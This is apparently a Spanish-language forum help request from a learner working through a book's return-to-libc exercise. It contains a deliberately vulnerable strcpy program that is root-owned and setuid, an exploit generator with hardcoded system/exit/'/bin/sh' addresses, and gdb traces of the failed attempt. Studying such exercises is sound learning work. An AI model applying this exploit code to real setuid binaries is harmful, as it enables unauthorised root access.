Vayamos por partes que diría jack el destripador:
Tengo un programa que por poner un ejemplo se está ejecutando con el sticky bit y es propiedad de root y tiene una vulnerabilidad:
Código:
int main(int argc, char *argv[])
{
char little_array[512];
if(argc > 1)
strcpy(little_array,argv[1]);
}
Y empleo el siguiente programa para generarme en una variable de entorno el buffer con el que explotar la vulnerabilidad:
Código:
#include <stdlib.h>
#include<stdio.h>
#define offset_size 0
#define buffer_size 600
char sc[] =
"\x80\x0d\xed\xb7" //system()
"\xf0\x68\xec\xb7" //exit()
"\xbe\xc7\xfb\xb7" //binsh
;
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = find_start() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
}
Vale, entonces la idea es en una máquina en la que no tuviera una pila ejecutable, enviar el flujo a libc ejecutando una shell, para ello según el libro insertamos este cacho:
Código:
char sc[] =
"\x80\x0d\xed\xb7" //system()
"\xf0\x68\xec\xb7" //exit()
"\xbe\xc7\xfb\xb7" //binsh
Donde serían las diferentes direcciones de esas llamadas (las he sacado mediante gdb como usa el libro y la de /bin/sh la he sacado con el memfetch como indica también, todo eso es correcto.
La cuestión es que soy incapaz de lograr modificar el retorno y eso que cuando probé con el método de meter NOPs a saco si que lo conseguí.
Los pasos que he realizado son los siguientes:
Generaba por ejemplo $BUF con ./ret2libc 590
Y luego con gdb paraba la ejecución antes de realizar el strcpy y en el ret:
Os dejo todos los desensamblados y más o menos los pasos que he seguido a ver en qué me estoy colando
Código:
pianista@pianista-desktop:~ $ gdb -q victim
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048374 <main+0>: push %ebp
0x08048375 <main+1>: mov %esp,%ebp
0x08048377 <main+3>: sub $0x218,%esp
0x0804837d <main+9>: and $0xfffffff0,%esp
0x08048380 <main+12>: mov $0x0,%eax
0x08048385 <main+17>: sub %eax,%esp
0x08048387 <main+19>: cmpl $0x1,0x8(%ebp)
0x0804838b <main+23>: jle 0x80483a7 <main+51>
0x0804838d <main+25>: mov 0xc(%ebp),%eax
0x08048390 <main+28>: add $0x4,%eax
0x08048393 <main+31>: mov (%eax),%eax
0x08048395 <main+33>: mov %eax,0x4(%esp)
0x08048399 <main+37>: lea 0xfffffdf8(%ebp),%eax
0x0804839f <main+43>: mov %eax,(%esp)
0x080483a2 <main+46>: call 0x80482a0 <strcpy@plt>
0x080483a7 <main+51>: leave
0x080483a8 <main+52>: ret
End of assembler dump.
(gdb) b *0x080483a2
Breakpoint 1 at 0x80483a2
(gdb) r $BUF
Starting program: /home/pianista/victim $BUF
Breakpoint 1, 0x080483a2 in main ()
(gdb) disas strcpy
Dump of assembler code for function strcpy:
0xb7f076f0 <strcpy+0>: push %ebp
0xb7f076f1 <strcpy+1>: mov %esp,%ebp
0xb7f076f3 <strcpy+3>: push %esi
0xb7f076f4 <strcpy+4>: mov 0x8(%ebp),%esi
0xb7f076f7 <strcpy+7>: mov 0xc(%ebp),%eax
0xb7f076fa <strcpy+10>: mov %esi,%ecx
0xb7f076fc <strcpy+12>: sub %eax,%ecx
0xb7f076fe <strcpy+14>: mov %eax,%edx
0xb7f07700 <strcpy+16>: movzbl (%edx),%eax
0xb7f07703 <strcpy+19>: mov %al,(%edx,%ecx,1)
0xb7f07706 <strcpy+22>: add $0x1,%edx
0xb7f07709 <strcpy+25>: test %al,%al
0xb7f0770b <strcpy+27>: jne 0xb7f07700 <strcpy+16>
0xb7f0770d <strcpy+29>: mov %esi,%eax
0xb7f0770f <strcpy+31>: pop %esi
0xb7f07710 <strcpy+32>: pop %ebp
0xb7f07711 <strcpy+33>: ret
End of assembler dump.
(gdb) b *0xb7f076f0
Breakpoint 2 at 0xb7f076f0
(gdb) b *0xb7f07711
Breakpoint 3 at 0xb7f07711
(gdb) continue
Continuing.
Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
Continuing.
Breakpoint 3, 0xb7f07711 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0xb7ed0d80 0xb7ec68f0 0xb7fbc7be
0xbffff18c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff19c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff1ac: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff83f in ?? ()
(gdb) x/20x $esp
0xbffff38c: 0xc7beb7ec 0xbffff838 0xbffff838 0xbffff838
0xbffff39c: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3ac: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3bc: 0xbffff838 0xbffff838 0xbffff838 0xbffff838
0xbffff3cc: 0x0000f838 0x00000000 0xb7ff9300 0xb7eafded
(gdb) r $BUF
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pianista/victim $BUF
Breakpoint 1, 0x080483a2 in main ()
(gdb) continue
Continuing.
Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/700x $esp
0xbffff16c: 0x080483a7 0xbffff180 0xbffff565 0x00000000
0xbffff17c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff18c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff19c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ac: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1bc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1cc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1dc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1ec: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff1fc: 0x00000000 0x0804820c 0x0d696910 0xb7ea5fa8
0xbffff20c: 0xbffff244 0xb7fefb79 0xb7eabcd4 0x08048202
0xbffff21c: 0xb80019b9 0xb80019ac 0xb7fe6b38 0xbfff0002
0xbffff22c: 0xb7ff4c69 0x080481d0 0xb80019b8 0xb8000ff4
0xbffff23c: 0xb7fe6b0c 0x00000001 0xbffff2c8 0xb7feff42
0xbffff24c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff25c: 0x00000123 0x0003d8f5 0xbffff294 0xbffff294
0xbffff26c: 0xbffff384 0xf63d4e2e 0xb7fe6858 0x00000003
0xbffff27c: 0xb7e9dc28 0xb7e9da28 0x080481f0 0xf63d4e2e
0xbffff28c: 0x080481fc 0x080481f4 0x00000000 0x00000000
0xbffff29c: 0x00000001 0x00000838 0xb7fe6b38 0xb7fe6858
0xbffff2ac: 0x080481f0 0xb7ea67a8 0x08048190 0x00000001
0xbffff2bc: 0xb8000ff4 0xb8001898 0xbffff378 0xbffff394
0xbffff2cc: 0xb7ff0103 0x08048190 0xbffff378 0xb800183c
---Type <return> to continue, or q <return> to quit---q
Quit
Perdón por la chapa, es que he probado con diferentes - 600,590,595 y logro algún ilegal instrucion pero nada soy incapaz, y es que creo que no estoy acabándolo de pillar del todo.
Saludos y gracias.